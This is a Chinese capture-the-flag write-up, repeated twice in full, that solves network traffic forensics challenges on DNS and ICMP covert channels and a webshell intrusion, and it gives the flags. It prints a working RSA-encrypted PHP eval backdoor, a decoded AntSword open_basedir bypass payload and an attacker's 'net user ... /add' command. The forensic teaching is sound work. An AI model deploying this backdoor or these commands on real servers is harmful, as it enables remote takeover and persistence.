前言做了这个流量分析题就来写写wp分享一下记录一下过程吧awa,欢迎大家参考。.pcap1先试试过滤flaghttp contains flag好在数量很少一眼就看到flag%7b之类的提取出来flag%7bjdktokenw_6_wwwf%7idd把参数值连接然后url编码既是flagDns打开文件过滤观察dns的流量包发现存在大量的xxx.seq-ob.cdn.xxx的流量包通过过滤语句dns contains cdn将流量包导出为csv然后可以用ai 把这些hex按顺序拼接起来得到504b0304140001006300ca82305cd68a3d37570000004400000008000b00666c61672e7478740199070001004145030800639c393fcfb4f685ae0c1f59ebcbb165e82cdc17a91727b19858f857d624686fc4ac890b0320f991721dec5567ff89688bc50256fc4d4ffe642e2449963c4ec4e4de4d73df78b5103a2cf3c2d1ba06be9649c26325d689504b01021400140001006300ca82305cd68a3d37570000004400000008000b0000000000800100000000666c61672e7478740199070001004145060000000001045030800504b000010041000000880000000000用在线工具去hex转文件 Hex to file (binary) converter得到文件提示文件损坏不用管但是需要密码这里我们可以换回流量包搜索关键字看看没有比如pass,key,secret发现都没有试试放进随波逐流用pass的base64值cGFzc去流量包搜索找到密码的base64Base64解密后就是压缩包的密码password123qwe流量分析1分析icmp流量查看到有这么一类数据包内容为Packet 1:Value 102猜测是Ascii,把类似数据提取出来frame.len 47 frame.len 48利用工具CTF-NetA-V0.3.0提取icmp转data的数据Packet 1: Value 102fFJBDeIMC1hBphJKlVkYmgysvMLPn9L1VjC9nLFYRiWt9VcE6rna2qDUTest data 9024Test data 6403Test data 9752Packet 2: Value 108Packet 3: Value 97Test data 5959Test data 9194Test data 8349Packet 4: Value 103qDG9Xwv2CmxisWUSyF7iFp4NEzes3Dof7sMuc1CypwEXGUuUOnaNi0BbQPacket 5: Value 123Test data 4638Test data 1655Test data 3214Packet 6: Value 115H79IzqXJqTD7uejKMtVPOJmcinBOMQlwOBTdXBe5EyFWTryRoS9muKV9say2GdugYHyzdymY2KJHwIAyaK9Packet 7: Value 97Test data 29688Yxts3XsMsyqO1CJYxmJvs5BWGpoNoYVwTest data 7453Test data 1710Packet 8: Value 110Packet 9: Value 106Test data 8576Test data 1205Test data 7760Packet 10: Value 105462LO3ZtUxog6tOfmrZlKLHOAayfGuMHFnjc6RtqfHhJx7yvpwWELBKHvp0S8KP1UKlBllTNUa18RIh2NN1elCEHrkWkPIK3JxWTCmigExAVIpXYBPacket 11: Value 117Test data 6560Test data 2378Test data 2737Packet 12: Value 45MNyDnLXvv4XozVCBjWNt5LI7QUW3SOPJ6I1dXbX3UlfINf0CirbIPsFbfPacket 13: Value 54Test data 4699Test data 8189Test data 2912Packet 14: Value 49Packet 15: Value 56Test data 4663Test data 7177HY8vEDTQSeOAzvW0QupHRVf4fEoEg1qdgbdKTest data 7163Packet 16: Value 48Packet 17: Value 45Test data 2488Test data 5178Test data 2771Packet 18: Value 1136FixJJks4dVrQOp9QEZKNtG7HyiEdPYejVAfguk5R16aXxMEqINob6ddZ2G1AnZ6vR2MyMZIwBuuXVcHzigkowy4zBU21Packet 19: Value 119Test data 3059C9N4rDm8LuO0HNtbNAJjd6uevwEoWFcJi4fUtAPipD7ITest data 9185Test data 2545Packet 20: Value 101Packet 21: Value 125然后可以利用ai将数据按顺序提取Value值并转为字符串得到flagflag{sanjiu-6180-qwe}webshell流量分析11.黑客的 IP 地址是什么分析流量包易得黑客ip为192.168.11.39答案192.168.11.392.黑客通过漏洞上传连接服务器的文件名字是什么首先定位到上传文件的数据包http contains uploads得到文件名为1768728211_696ca6939300d_san.php答案1768728211_696ca6939300d_san.php3.黑客上传的 Webshell 用的什么工具连接[小写英文]可以尝试过滤antsword、behinder的base64值进行搜索搜索字符串QW50U3dvcmQ AntSword的base64成功搜索到一些流量包此外在上传的shell代码中出的ini_set(display_errors, 0);set_time_limit(0);这段代码为蚁剑的shell特征答案antsword(注意小写)4.黑客利用什么漏洞来进行攻击A.SQL注入 B.文件上传 C.XXE D.反序列化漏洞这题不用说选B答案文件上传5.黑客连接 Webshell 的连接密码是什么[明文]见题目3解答过程答案shell6.黑客连接 Webshell 后执行的第一条系统命令是什么分析上传的shell代码?php // 关闭所有错误报告避免暴露敏感信息 error_reporting(0); // 从POST请求中获取名为shell的参数数据 $data $_POST[shell]; // 检查是否收到了shell参数 if (isset($data)) { // 定义公钥PEM格式用于解密数据 $pk EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCd4MxZbp49Fy3KF/kfTUbOgaJ VQTKVbvAEtAmdowqmPZUKaE2R6EKgBoFSPdifyTtVDj3WjEezSYFiYOZlYwEYT6 RhzwnmczKI/QKDq1BUZqKF0FdyoQVJIo/3M5tuBVswwlQ5leBo9fCdXqrI5xJ xib6Z/MRrAYtbLkykwIDAQAB -----END PUBLIC KEY----- EOF; // 获取公钥资源 $pk_res openssl_pkey_get_public($pk); // 将接收到的数据按|分割成多个块 $chunks explode(|, $data); $payload ; // 遍历每个数据块 foreach ($chunks as $chunk) { $decrypted ; // 对每个块进行base64解码然后使用公钥解密 if (openssl_public_decrypt(base64_decode($chunk), $decrypted, $pk_res)) { // 将解密后的数据拼接到payload中 $payload . $decrypted; } } // 执行解密后的PHP代码 eval($payload); } ?代码是一个利用RSA公钥加密通信的隐蔽Web后门程序它通过POST请求接收经过Base64编码和RSA加密的多个数据块使用内置的公钥进行解密后拼接成完整的PHP代码最后通过eval函数执行从而实现攻击者能够在服务器上远程执行任意代码、完全控制服务器的恶意目的。在此代码中可以得到木马的连接密码为 shell接下来分析第一个利用该shell的数据包 (No.16813)分析请求参数中的shell参数值需要解密可利用已知的解密代码既黑客上传的webshell来进行解密读取命令将post修改为get方便测试最后只输出命令代码不执行。?php error_reporting(0); $data $_GET[shell]; if (isset($data)) { $pk EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCd4MxZbp49Fy3KF/kfTUbOgaJ VQTKVbvAEtAmdowqmPZUKaE2R6EKgBoFSPdifyTtVDj3WjEezSYFiYOZlYwEYT6 RhzwnmczKI/QKDq1BUZqKF0FdyoQVJIo/3M5tuBVswwlQ5leBo9fCdXqrI5xJ xib6Z/MRrAYtbLkykwIDAQAB -----END PUBLIC KEY----- EOF; $pk_res openssl_pkey_get_public($pk); $chunks explode(|, $data); $payload ; foreach ($chunks as $chunk) { $decrypted ; if (openssl_public_decrypt(base64_decode($chunk), $decrypted, $pk_res)) { $payload . $decrypted; } } print 解密结果.$payload; } ?测试第一个得到下面代码ini_set(display_errors, 0); set_time_limit(0); $opdir ini_get(open_basedir); if ($opdir) { $ocwd dirname($_SERVER[SCRIPT_FILENAME]); $oparr preg_split(base64_decode(Lzt8Oi8), $opdir); array_push($oparr, $ocwd, sys_get_temp_dir()); foreach ($oparr as $item) { if (!is_writable($item)) { continue; } $tmdir $item . /.53182228080; mkdir($tmdir); if (!file_exists($tmdir)) { continue; } $tmdir realpath($tmdir); chdir($tmdir); ini_set(open_basedir, ..); $cntarr preg_split(/\\\\|\//, $tmdir); for ($i 0; $i sizeof($cntarr); $i) { chdir(..); } ini_set(open_basedir, /); rmdir($tmdir); break;这段代码是一个用于绕过PHP安全限制的Webshell工具它通过检测和利用可写目录来突破open_basedir限制然后使用RSA公钥解密POST接收的加密数据并执行其中的恶意代码最终将执行结果通过AES加密后输出整个过程还包含了错误处理和输出编码功能目的是在受限的服务器环境中隐蔽地执行任意PHP代码。响应内容为7bc68RTovcGhwc3R1ZHlfcHJvL1dXVy91cGxvYWRzCUM6RToJV2luZG93cyBOVCBXSU4tNUNOSENGQUlNUDkgMTAuMCBidWlsZCAyNjEwMCAoV2luZG93cyBTZXJ2ZXIgMjAxNikgQU1ENjQJQWRtaW5pc3RyYXRvcg15b97d197去掉前后缀cGhwc3R1ZHlfcHJvL1dXVy91cGxvYWRzCUM6RToJV2luZG93cyBOVCBXSU4tNUNOSENGQUlNUDkgMTAuMCBidWlsZCAyNjEwMCAoV2luZG93cyBTZXJ2ZXIgMjAxNikgQU1ENjQJQWRtaW5pc3RyYXRvcgbase解码得到phpstudy_pro/WWW/uploads C:E: Windows NT WIN-5CNHCFAIMP9 10.0 build 26100 (Windows Server 2016) AMD64Administrator可以通过该响应数据反推出命令为whoami,并且为第一条执行的命令答案whoami7.黑客通过 Webshell 上传的文件内容是什么[2005????]在第二的利用webshell的数据包中存在数据利用hex转文件得到一个flag.zip文件上面提示了密码前4为是2005可以爆破得到密码为20050101打开即可获取到文件内容答案flag{443302daf6e587bc1d358dbf7a91e9b5}8.黑客创建系统的用户名字叫什么创建用户在Windows一般使用net user或net localgroup可以尝试搜索net user对应的base64bmV0IHVzZXI发现流量包No.17932提取对应命令的完整base64编码Y2QgL2QgIkU6XFxwaHBzdHVkeV9wcm9cXFdXV1xcdXBsb2FkcyImbmV0IHVzZXIgaml1c2FuIEFkbWluQDEyMyAvYWRkJmVjaG8gNjhmYTZmJmNkJmVjaG8gYWJjYjE解码得到cd /d E:\\phpstudy_pro\\WWW\\uploadsnet user jiusan Admin123 /addecho 68fa6fcdecho abcb1答案jiusan将上面答案连接得到flag{192.168.11.39-1768728211_696ca6939300d_san.php-antsword-文件上传-shell-whoami-flag{443302daf6e587bc1d358dbf7a91e9b5}-jiusan}md5加密得到flagICMP traffic分析题目是关于icmp的一般可能得隐藏信息有date数据部分、TTL协议、len、序列号等放入CTF-NetA-V0.3.0分析查看到在len部分有长度特别的几个一般icmp流量包的长度有32、64、128、48、56、100等而33和39不常见但在数据中存在大量的33和39.故将数据提取出来分析测试得33对应二进制0,39对应二进制1时得到下面的二进制信息01000011011011110110111001100111011100100110000101110100011101010110110001100001011101000110100101101111011011100111001100100000011011110110111000100000011001100110100101101110011001000110100101101110011001110010000001110100011010000110010100100000011001100110110001100001011001110010110000100000011101000110100001100101001000000110011001101100011000010110011100100000011010010111001100100000001000000111101001101100001100010100101100110001001000110100000101010011010100100010011000100101001000110011110000110111011010000110011000111111010110100011100100110011010100010111100100100110011101010010110001001110011011000100100001110001010011100011100001100100011011000010100101011101011110100110111100110010011010100011010101000011001101010011110100111101010100100011100001010000011000010010101001101100010110000110100001100001011000000111111000110101010000110101000001010110011011000111001001011101011001010111000101001011001101010011000101100110010000010011001100111110011101010101011001010100010000100101110101111001011110000011110101100010001111100011011100111001001100110110000100110111001001010010101000100101010100000101010001100101001111010101100101110000011011010010001000101111001011110100011101110110001010110111000000111011001110110011011101011101001110100111001101110111011001110110010101000101010100110011100001100100010001110111001001000001二进制解码得到字符串zl1K1#ASR%#7hf?Z93Qyu,NlHqN8dl)]zo2j5C5R8Pa*lXha~5CPVlr]eqK51fA3uVTB]yxb793a7%*%PTeYpm//Gvp;;7]:swgeES8dGrA放入随波逐流解码(base91-base64)得到flag
前言做了这个流量分析题就来写写wp分享一下记录一下过程吧awa,欢迎大家参考。.pcap1先试试过滤flaghttp contains flag好在数量很少一眼就看到flag%7b之类的提取出来flag%7bjdktokenw_6_wwwf%7idd把参数值连接然后url编码既是flagDns打开文件过滤观察dns的流量包发现存在大量的xxx.seq-ob.cdn.xxx的流量包通过过滤语句dns contains cdn将流量包导出为csv然后可以用ai 把这些hex按顺序拼接起来得到504b0304140001006300ca82305cd68a3d37570000004400000008000b00666c61672e7478740199070001004145030800639c393fcfb4f685ae0c1f59ebcbb165e82cdc17a91727b19858f857d624686fc4ac890b0320f991721dec5567ff89688bc50256fc4d4ffe642e2449963c4ec4e4de4d73df78b5103a2cf3c2d1ba06be9649c26325d689504b01021400140001006300ca82305cd68a3d37570000004400000008000b0000000000800100000000666c61672e7478740199070001004145060000000001045030800504b000010041000000880000000000用在线工具去hex转文件 Hex to file (binary) converter得到文件提示文件损坏不用管但是需要密码这里我们可以换回流量包搜索关键字看看没有比如pass,key,secret发现都没有试试放进随波逐流用pass的base64值cGFzc去流量包搜索找到密码的base64Base64解密后就是压缩包的密码password123qwe流量分析1分析icmp流量查看到有这么一类数据包内容为Packet 1:Value 102猜测是Ascii,把类似数据提取出来frame.len 47 frame.len 48利用工具CTF-NetA-V0.3.0提取icmp转data的数据Packet 1: Value 102fFJBDeIMC1hBphJKlVkYmgysvMLPn9L1VjC9nLFYRiWt9VcE6rna2qDUTest data 9024Test data 6403Test data 9752Packet 2: Value 108Packet 3: Value 97Test data 5959Test data 9194Test data 8349Packet 4: Value 103qDG9Xwv2CmxisWUSyF7iFp4NEzes3Dof7sMuc1CypwEXGUuUOnaNi0BbQPacket 5: Value 123Test data 4638Test data 1655Test data 3214Packet 6: Value 115H79IzqXJqTD7uejKMtVPOJmcinBOMQlwOBTdXBe5EyFWTryRoS9muKV9say2GdugYHyzdymY2KJHwIAyaK9Packet 7: Value 97Test data 29688Yxts3XsMsyqO1CJYxmJvs5BWGpoNoYVwTest data 7453Test data 1710Packet 8: Value 110Packet 9: Value 106Test data 8576Test data 1205Test data 7760Packet 10: Value 105462LO3ZtUxog6tOfmrZlKLHOAayfGuMHFnjc6RtqfHhJx7yvpwWELBKHvp0S8KP1UKlBllTNUa18RIh2NN1elCEHrkWkPIK3JxWTCmigExAVIpXYBPacket 11: Value 117Test data 6560Test data 2378Test data 2737Packet 12: Value 45MNyDnLXvv4XozVCBjWNt5LI7QUW3SOPJ6I1dXbX3UlfINf0CirbIPsFbfPacket 13: Value 54Test data 4699Test data 8189Test data 2912Packet 14: Value 49Packet 15: Value 56Test data 4663Test data 7177HY8vEDTQSeOAzvW0QupHRVf4fEoEg1qdgbdKTest data 7163Packet 16: Value 48Packet 17: Value 45Test data 2488Test data 5178Test data 2771Packet 18: Value 1136FixJJks4dVrQOp9QEZKNtG7HyiEdPYejVAfguk5R16aXxMEqINob6ddZ2G1AnZ6vR2MyMZIwBuuXVcHzigkowy4zBU21Packet 19: Value 119Test data 3059C9N4rDm8LuO0HNtbNAJjd6uevwEoWFcJi4fUtAPipD7ITest data 9185Test data 2545Packet 20: Value 101Packet 21: Value 125然后可以利用ai将数据按顺序提取Value值并转为字符串得到flagflag{sanjiu-6180-qwe}webshell流量分析11.黑客的 IP 地址是什么分析流量包易得黑客ip为192.168.11.39答案192.168.11.392.黑客通过漏洞上传连接服务器的文件名字是什么首先定位到上传文件的数据包http contains uploads得到文件名为1768728211_696ca6939300d_san.php答案1768728211_696ca6939300d_san.php3.黑客上传的 Webshell 用的什么工具连接[小写英文]可以尝试过滤antsword、behinder的base64值进行搜索搜索字符串QW50U3dvcmQ AntSword的base64成功搜索到一些流量包此外在上传的shell代码中出的ini_set(display_errors, 0);set_time_limit(0);这段代码为蚁剑的shell特征答案antsword(注意小写)4.黑客利用什么漏洞来进行攻击A.SQL注入 B.文件上传 C.XXE D.反序列化漏洞这题不用说选B答案文件上传5.黑客连接 Webshell 的连接密码是什么[明文]见题目3解答过程答案shell6.黑客连接 Webshell 后执行的第一条系统命令是什么分析上传的shell代码?php // 关闭所有错误报告避免暴露敏感信息 error_reporting(0); // 从POST请求中获取名为shell的参数数据 $data $_POST[shell]; // 检查是否收到了shell参数 if (isset($data)) { // 定义公钥PEM格式用于解密数据 $pk EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCd4MxZbp49Fy3KF/kfTUbOgaJ VQTKVbvAEtAmdowqmPZUKaE2R6EKgBoFSPdifyTtVDj3WjEezSYFiYOZlYwEYT6 RhzwnmczKI/QKDq1BUZqKF0FdyoQVJIo/3M5tuBVswwlQ5leBo9fCdXqrI5xJ xib6Z/MRrAYtbLkykwIDAQAB -----END PUBLIC KEY----- EOF; // 获取公钥资源 $pk_res openssl_pkey_get_public($pk); // 将接收到的数据按|分割成多个块 $chunks explode(|, $data); $payload ; // 遍历每个数据块 foreach ($chunks as $chunk) { $decrypted ; // 对每个块进行base64解码然后使用公钥解密 if (openssl_public_decrypt(base64_decode($chunk), $decrypted, $pk_res)) { // 将解密后的数据拼接到payload中 $payload . $decrypted; } } // 执行解密后的PHP代码 eval($payload); } ?代码是一个利用RSA公钥加密通信的隐蔽Web后门程序它通过POST请求接收经过Base64编码和RSA加密的多个数据块使用内置的公钥进行解密后拼接成完整的PHP代码最后通过eval函数执行从而实现攻击者能够在服务器上远程执行任意代码、完全控制服务器的恶意目的。在此代码中可以得到木马的连接密码为 shell接下来分析第一个利用该shell的数据包 (No.16813)分析请求参数中的shell参数值需要解密可利用已知的解密代码既黑客上传的webshell来进行解密读取命令将post修改为get方便测试最后只输出命令代码不执行。?php error_reporting(0); $data $_GET[shell]; if (isset($data)) { $pk EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCd4MxZbp49Fy3KF/kfTUbOgaJ VQTKVbvAEtAmdowqmPZUKaE2R6EKgBoFSPdifyTtVDj3WjEezSYFiYOZlYwEYT6 RhzwnmczKI/QKDq1BUZqKF0FdyoQVJIo/3M5tuBVswwlQ5leBo9fCdXqrI5xJ xib6Z/MRrAYtbLkykwIDAQAB -----END PUBLIC KEY----- EOF; $pk_res openssl_pkey_get_public($pk); $chunks explode(|, $data); $payload ; foreach ($chunks as $chunk) { $decrypted ; if (openssl_public_decrypt(base64_decode($chunk), $decrypted, $pk_res)) { $payload . $decrypted; } } print 解密结果.$payload; } ?测试第一个得到下面代码ini_set(display_errors, 0); set_time_limit(0); $opdir ini_get(open_basedir); if ($opdir) { $ocwd dirname($_SERVER[SCRIPT_FILENAME]); $oparr preg_split(base64_decode(Lzt8Oi8), $opdir); array_push($oparr, $ocwd, sys_get_temp_dir()); foreach ($oparr as $item) { if (!is_writable($item)) { continue; } $tmdir $item . /.53182228080; mkdir($tmdir); if (!file_exists($tmdir)) { continue; } $tmdir realpath($tmdir); chdir($tmdir); ini_set(open_basedir, ..); $cntarr preg_split(/\\\\|\//, $tmdir); for ($i 0; $i sizeof($cntarr); $i) { chdir(..); } ini_set(open_basedir, /); rmdir($tmdir); break;这段代码是一个用于绕过PHP安全限制的Webshell工具它通过检测和利用可写目录来突破open_basedir限制然后使用RSA公钥解密POST接收的加密数据并执行其中的恶意代码最终将执行结果通过AES加密后输出整个过程还包含了错误处理和输出编码功能目的是在受限的服务器环境中隐蔽地执行任意PHP代码。响应内容为7bc68RTovcGhwc3R1ZHlfcHJvL1dXVy91cGxvYWRzCUM6RToJV2luZG93cyBOVCBXSU4tNUNOSENGQUlNUDkgMTAuMCBidWlsZCAyNjEwMCAoV2luZG93cyBTZXJ2ZXIgMjAxNikgQU1ENjQJQWRtaW5pc3RyYXRvcg15b97d197去掉前后缀cGhwc3R1ZHlfcHJvL1dXVy91cGxvYWRzCUM6RToJV2luZG93cyBOVCBXSU4tNUNOSENGQUlNUDkgMTAuMCBidWlsZCAyNjEwMCAoV2luZG93cyBTZXJ2ZXIgMjAxNikgQU1ENjQJQWRtaW5pc3RyYXRvcgbase解码得到phpstudy_pro/WWW/uploads C:E: Windows NT WIN-5CNHCFAIMP9 10.0 build 26100 (Windows Server 2016) AMD64Administrator可以通过该响应数据反推出命令为whoami,并且为第一条执行的命令答案whoami7.黑客通过 Webshell 上传的文件内容是什么[2005????]在第二的利用webshell的数据包中存在数据利用hex转文件得到一个flag.zip文件上面提示了密码前4为是2005可以爆破得到密码为20050101打开即可获取到文件内容答案flag{443302daf6e587bc1d358dbf7a91e9b5}8.黑客创建系统的用户名字叫什么创建用户在Windows一般使用net user或net localgroup可以尝试搜索net user对应的base64bmV0IHVzZXI发现流量包No.17932提取对应命令的完整base64编码Y2QgL2QgIkU6XFxwaHBzdHVkeV9wcm9cXFdXV1xcdXBsb2FkcyImbmV0IHVzZXIgaml1c2FuIEFkbWluQDEyMyAvYWRkJmVjaG8gNjhmYTZmJmNkJmVjaG8gYWJjYjE解码得到cd /d E:\\phpstudy_pro\\WWW\\uploadsnet user jiusan Admin123 /addecho 68fa6fcdecho abcb1答案jiusan将上面答案连接得到flag{192.168.11.39-1768728211_696ca6939300d_san.php-antsword-文件上传-shell-whoami-flag{443302daf6e587bc1d358dbf7a91e9b5}-jiusan}md5加密得到flagICMP traffic分析题目是关于icmp的一般可能得隐藏信息有date数据部分、TTL协议、len、序列号等放入CTF-NetA-V0.3.0分析查看到在len部分有长度特别的几个一般icmp流量包的长度有32、64、128、48、56、100等而33和39不常见但在数据中存在大量的33和39.故将数据提取出来分析测试得33对应二进制0,39对应二进制1时得到下面的二进制信息01000011011011110110111001100111011100100110000101110100011101010110110001100001011101000110100101101111011011100111001100100000011011110110111000100000011001100110100101101110011001000110100101101110011001110010000001110100011010000110010100100000011001100110110001100001011001110010110000100000011101000110100001100101001000000110011001101100011000010110011100100000011010010111001100100000001000000111101001101100001100010100101100110001001000110100000101010011010100100010011000100101001000110011110000110111011010000110011000111111010110100011100100110011010100010111100100100110011101010010110001001110011011000100100001110001010011100011100001100100011011000010100101011101011110100110111100110010011010100011010101000011001101010011110100111101010100100011100001010000011000010010101001101100010110000110100001100001011000000111111000110101010000110101000001010110011011000111001001011101011001010111000101001011001101010011000101100110010000010011001100111110011101010101011001010100010000100101110101111001011110000011110101100010001111100011011100111001001100110110000100110111001001010010101000100101010100000101010001100101001111010101100101110000011011010010001000101111001011110100011101110110001010110111000000111011001110110011011101011101001110100111001101110111011001110110010101000101010100110011100001100100010001110111001001000001二进制解码得到字符串zl1K1#ASR%#7hf?Z93Qyu,NlHqN8dl)]zo2j5C5R8Pa*lXha~5CPVlr]eqK51fA3uVTB]yxb793a7%*%PTeYpm//Gvp;;7]:swgeES8dGrA放入随波逐流解码(base91-base64)得到flag
